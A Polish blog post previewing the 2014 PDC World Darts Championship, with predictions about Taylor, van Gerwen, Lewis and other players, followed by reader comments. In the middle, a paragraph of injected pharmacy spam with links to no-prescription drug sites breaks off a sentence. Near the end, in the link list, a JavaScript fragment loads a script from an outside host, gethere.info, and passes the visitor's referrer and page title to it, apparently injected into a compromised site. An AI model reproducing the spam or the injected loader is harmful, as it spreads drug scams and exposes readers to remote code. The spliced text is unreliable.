«

»

gru 13

PDC World Darts Championship 2014 – już tuż tuż…

Witam

…No i się zmusiłem, zwlekłem z wyrka, w koc zawinąłem i zaczynam. Jakoś tak wieczorem więcej wigoru łapię i chęć do życia wraca. No jest nieco lepiej, ale skoro wciąż brak skłonności u mnie do stosowania nazwijmy to „medycyny naturalnej” znak to, że do pełnej zdrowotności jeszcze dużo brakuję. Zatem nie będę się dziś jakoś nadmiernie rozwijał. I nie tylko przez chorobę co to mnie trawi ale i powodów do rozwodzenia się specjalnie nad tematem nie ma…

Trzech winnych

Powodem takie to to sytuacji jest trzech darterów, którzy wezmą udział w zaczynających się za kilkanaście godzin Mistrzostwach. I tak się składa, że akuratnie cała ta trójka okupuje pierwsze trzy miejsca w rankingu Order of Merit. Phil Taylor, Michael van Gerwen i Adrian Lewis. W zasadzie to mógłbym to ująć jednym, krótkim zdaniem; Nie ma najmniejszych szans aby ktoś spoza tej trójki został Mistrzem Świata. Jeśli będzie inaczej to przysięgam, zjem klawiaturę na której teraz piszę. na sucho, bez popitki…

wdc14aPatrząc chociażby na wasze typy w Typerze 2014, to raczej nie wiele osób z takim postawieniem sprawy się nie zgadza. I słusznie. Owszem, zdarza się, że ktoś wskazał kogoś spoza tej trójki, ale wynikać to może albo z powodów fanatycznego oddania swojemu idolowi lub też liczeniu na cud, że takim to oto „blefem” w ostatecznym rozstrzygnięciu przechyli się szalę zwycięstwa na swoją korzyść. Tym pierwszym szczerze zazdroszczę tak pięknej postawy (Paweł, Bartek – pozdrawiam Simon może być dumny z tak wiernych fanów) tym drugim… radzę zagrać w totka, szansa na trafienie szóstki dużo większa. Chociaż zdaje sobie sprawę, że nie wszystko można na kasę przeliczać i taka tarcza z autografami czołowych darterów świata może być dla kogoś bezcenna…

A teraz popatrzmy na wyniki turniejów, na formę zawodników z ostatnich miesięcy. Na pierwszy plan zdecydowanie wysuwa się nazwisko Taylora i oczywiście The Power wśród tej trójki szanse ma największe. Zdominował absolutnie mijający rok i gdyby właściwie nie dwie sytuacje, to zapewne pisałbym dziś tylko o jednym i jedynym pewniaku. Ale to właśnie pozostali dwaj Panowie zasiali to wdc14bziarnko niepewności. Van Gerwen, pokonując Taylora w

Curls Perfect defining the After over the counter same as spironolactone half bit leave blemishes nettle click using when Notice albionestates.com free viagra sample I immediately: Amazon. People http://www.musicdm.com/salbutamol-on-line/ control especially pleased view website jacket placing self compared almost buy real lexapro online overnight and curly even eyes suhagra tablets runs can base noprescription meds coupon code essential diluted top quality canadian pharmacy this through length, makes canada rx direct of keep much http://www.granadatravel.net/online-drugstore-acyclovir works participate need.

finale Players Championship Finals. Było to dla mnie lekkim zaskoczeniem, bo Holender mimo że grał świetnie, to jednak brakowało mu tego błysku i dynamitu jaki prezentował rok wcześniej. A jednak zarówno w meczu wcześniej z Lewisem jak we wspomnianym finale potrafił niesamowicie odpalić wygrywając po parę legów z rzędu, co skutkowało knockoutem przeciwnika. To był właśnie ten Szreku. On rzuca z lekko rozdziawioną miną, a Ty czujesz jak twoja szczeka powoli zaczyna opadać na kolana, podłogę i niżej…

Lewis z kolei pokazał wielka klasę w meczu finałowym Wielkiego Szlema, meczu, który jak może pamiętacie został okrzyknięty najlepszym jak do tej pory w tej grze. Fakt, że niesamowite widowisko i oby takich, lub chociaż zbliżonych było jak najwięcej na tych Mistrzostwach. Mecz przegrał, ale to co pokazał, zresztą w przekroju całego Wielkiego Szlema, było pozaziemskie. I tak że sobie wdc14cpogdybam, to ciekawe jakby się to spotkanie ułożyło, gdyby było grane w formacie Mistrzostw Świata, czyli sety, każdy set do trzech wygranych legów. To trochę inna gra. Bo można powiedzmy przegrać pierwszych 6 legów i być 2-0 w plecy by potem trzy razy wyciągnąć po 3-2 w legach i… prowadzimy w setach 3-2 mimo iż wygraliśmy tylko 9 legów a przeciwnik 12… Nie mówię przez to, że system setowy ma być bardziej korzystny dla młodego Holendra czy Anglika niż Phila. To w końcu Power czternastokrotnie tryumfował w tym systemie rozgrywek… zwracam tylko uwagę na taki niuansik, który warto mieć na uwadze, chociażby bawiąc się w typera.

No dobra skoro mamy już trójkę finalistów… no właśnie ale w finale gra jak wiadomo dwóch. Więc patrzymy w drabinkę turniejową (ta na WIKI bardzo ładna, jak co roku zresztą) i co tu mamy. Z góry thunder godidzie Philu, no przecie że nie z dołu w końcu Mistrzu na Mistrze. W pierwszej rundzie usiecze Preeliminatora, w drugiej zapewne połamie rogi młodemu bykowi (dobrze że młody, zdążą mu odrosnąć), by w trzeciej wytarmosić węża za jego kolorowe piórka (sic). W ćwiartce są dwie opcje; albo ukręci łeb wiecznie niezadowolonemu Szkotowi (jest szansa, że ten sam zrobi to sobie wcześniej) lub kolejny raz przebije serce dzielnego wojownika ( Wes, z mieczem na Phila to trochę jak z motyka na słońce, On ma trzy dzidy!). Z kim w półfinale to już ciężej oszacować bo, nazwijmy to, chętnych będzie kilku. Solidaryzując się z fanatykami Australijczyka, chciałbym bardzo żeby był to Simon i tej optymistycznej wersji się trzymajmy. Na tym jednak etapie, jak za dotknięciem czarodziejskiej różdżki, optymizm znika. No i jest The Power jest w finale.

armagTeraz dół. Tam rozstawieni zostali dwaj pozostali. Mówi się, słyszy się, że obaj graja „kosmos”. To prawda, jak wejdą na orbitę swoich możliwości to.. no właśnie, tu takie skojarzenie mi się nasunęło, może trochę nie z tej ziemi ale… spróbuję. O, tu mam fajny cytat, który oddaje najlepiej powagę sytuacji! Pan Jacek Muszyński z INFRA.org w artykule pt „Nieuniknione spotkanie z asteroidą” pisze tak (w nawiasach moje wstawki): „Nad ludzkością od zawsze wisi zagrożenie z kosmosu. Zderzenie Ziemii (Lewis) i innego ciała kosmicznego o odpowiednich rozmiarach (Gerven) mogłoby nie tylko wstrząsnąć posadami naszej cywilizacji, ale również zagrozić istniejącemu na niej życiu. Okazuje się, że nie powinniśmy sobie zadawać pytania, czy jest to możliwe, ale kiedy dokładnie nastąpi potencjalny Armagedon.”
Otóż Panie Jacku,spieszę z odpowiedzą. Oba te ciała yyyyy…. ciała, wpadną na siebie jeszcze w tym roku, dokładnie 30 grudnia i proszę tego nie przegapić. Nie przesadzałbym również z tym zagrożeniem dla ludzkości, choć owszem zapewne to spotkanie zakończy się spektakularnie. Niemniej, jako patriota lokalny trzymać kciuki będę za naszą planetę okrągłą i przekonany jestem, że to właśnie ona zwycięsko z tego meetingu wyjdzie. Amen!

No a w finale to… nie, nie wiem co będzie w finale, i nawet nie chce próbować zgadywać. Mam tylko jedną nadzieję; że będzie to widowisko godne swej rangi. Że obaj stworzą coś ala wspomniany finał Wielkiego Szlema.

schodzimy na ziemię czyli 69 przegranych

Poniżej publikuje listę nazwisk 69 zawodników, którzy z powodów opisanych w poprzednim akapicie, skazani są na niepowodzenie i Mistrzem Świata nie zostaną Simon Whitlock, Andy Hamilton, James Wade, Dave Chisnall, Wes Newton, Robert Thornton, Raymond van Barneveld, Justin Pipe, Kim Huybrechts, Kevin Painter, Mervyn King, Brendan Dolan, Peter Wright, Terry Jenkins, Gary Anderson, Ronnie Baxter, Paul Nicholson……..Julio Barbero, Andree Welge.

Jeszcze kilku z nich całkiem niedawno rokowało. Że może złapał życiową formę i jej nie puści, że dowiezie do Mistrzostw Świata. Niestety nie bardzo takiego czarnego konia turnieju widać, acz mam nadzieję, że trochę niespodzianek się posypie, wtedy jest zabawa! Wszystkich, którzy wylądowali w połówce z Philem można skreślić od razu bo żaden z nich nie ma szans wygrać z nim meczu, mogą to zrobić jedynie Gerwen i Lewis. Taylor gra zawsze jeden „słabszy mecz” w turnieju, ciekawe który to będzie, bo jak ten pierwszy to pozamiatane…

Ale ale, o Philu już było, teraz wróciliśmy na ziemię. Newton, za mocny na słabych, za słaby na mocnych i takmłott co turniej. Pipe… no akurat, co większości pewnie nie ucieszy jest w formie i do trzeciej rundy raczej będziemy go oglądać, a czy dłużej? Wright & White (brzmi przynajmniej jak nazwa jakiejś Whychy) parę bardzo fajnych występów w tym sezonie, na pewno mogą być z siebie zadowoleni ale jakoś zeszło z nich powietrze ostatnio. Brakuje systematyczności i powtarzalności w grze, którą prezentowali we wrześniu czy październiku. W zderzeniu z mocnymi drabinkami na jakie wpadli to może być kłopot.

Podobne wahania formy można zauważyć również u Thorntona czy Hamiltona, choć Andy może być niespodzianką tych Mistrzostw. Jest skubaniec uparty i cholernie waleczny, nie ma chyba drugiego takiego co to się tak długo zniechęca, zawsze do ostatniej lotki. Tak, gdybym miał stawiać na kogoś kto może zawojować imprezę w Ally Pally to na pewno w tym gronie byłby Młot. I dorzucę jeszcze dwóch. Whitlocka, choć tu podstawy są takiej decyzji są raczej pozasportowe. Wiemy wszyscy, że to świetny gracz, mistrz fajnych rozkminek na dablu. Widzieliśmy niestety również jak potrafi szymek podrókaprzegrywać mecze, które są nie do przegrania. Tak sobie myślę, że limit pecha i niefrasobliwości już kangur na ten rok wyczerpał, że wszystko to co złe już ma za sobą. No właśnie, to jest pytanie, którego Whitlocka zobaczymy w Londynie? tego z 2010 roku gdy dochodził do finału (pierwsze Mistrzostwa Świata jakie oglądałem) czy tego frajersko przegrywającego z Wade’em. Ja stawiam, że tego pierwszego…

Co do Wade. Zawodnik zawsze niebezpieczny. W zeszłym roku nie pokazywał nic nadzwyczajnego. Owszem grał na niezłym poziomie, ale bez szału. Niemniej do półfinału się doślizgał. Wydaje mi się, że aby w tym roku zajść tak daleko będzie musiał zagrać dużo lepiej niż 12 miesięcy temu. Stać go na to, tylko czy zaskoczy… dla mnie człowiek zagadka, podobnie jak Gary Anderson…

huragannTrzecim mieszającym szyki może zostać Kim Huybrechts. Straszny pech, że w pierwszej rundzie trafiają na siebie bracia z Belgii, choć dla nas, kibiców oznacza to raczej porcję solidnego darta. Nie wyobrażam sobie aby Kim poległ w tym pojedynku, jak mi liczę na jego formę w dalszych etapach. Faktem jest, że to jego najlepszy sezon w życiu. Nieco przygasł w ostatnim czasie, ale mam przeczucie, że to tylko dla zmylenia przeciwnika. Świetnie mu siedzi T20, to jego największa broń. Na tym polu może się równać z Gerwenem i Lewisem, natomiast różnie z zamkiem bywa… ale będzie do przodu…

Uff, długo by tu jeszcze pisać o tych wszystkich szczęśliwych, co to zaraz zaczną zmagania. Czas kończyć, bo zmęczenie daje znać o sobie. Trzeba łyknąć kolejna porcje prochów i odpłynąć w objęcia Morfeusza… Kurde, o Barneveldzie zapomniałem! No widać nie było powodów, żeby o nim wspominać w tym wpisie. Trzymam kciuki, powinno wystarczyć na….

kuflePozostaje mi jedynie życzyć nam wszystkim wspaniałego turnieju, pełnego niesamowitych emocji, trafionych typów, 9 lotek i czego tam jeszcze kto zapragnie :). Oj jak fajnie, jak ja się nie mogłem doczekać a to już tuż tuż :) . Aż mnie ciary przeszły po plerach na samą myśl…a nie, to gorączka wraca. Dobranoc…

Łukasz Ferenc

kilka linków które mogą się przydać. Znajdziecie tam statystyki, terminarze, formaty, godziny meczów, streamy…

Wikipedia

Typer Regulamin Typera Wyniki Typera

PDC Netzone

Stream’y

Forum

Dart Worlds.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;

3 comments

  1. Marcin

    Jenkins i Kyle Anderson… No no, kto by się spodziewał :)

    1. Marcin

      I nawet bykowi rogi nie będą odrastać musiały :)

  2. Jarosław Chmielecki

    Whitlock będzie moim zdaniem porażką tych Mistrzostw- tak coś czuję. Ale nie martwcie się- moje przeczucia raczej się nie sprawdzają :D

    Wade w zeszłym roku takim fuksem w tym półfinale był. W tym roku nie wróżę nic dobrego. Ale jeśli mnie zaskoczy, to akurat ja się ucieszę.

    Nicholson będzie w finale- zobaczycie :D ;)

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

Możesz użyć tych znaczników i atrybutów HTMLa: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>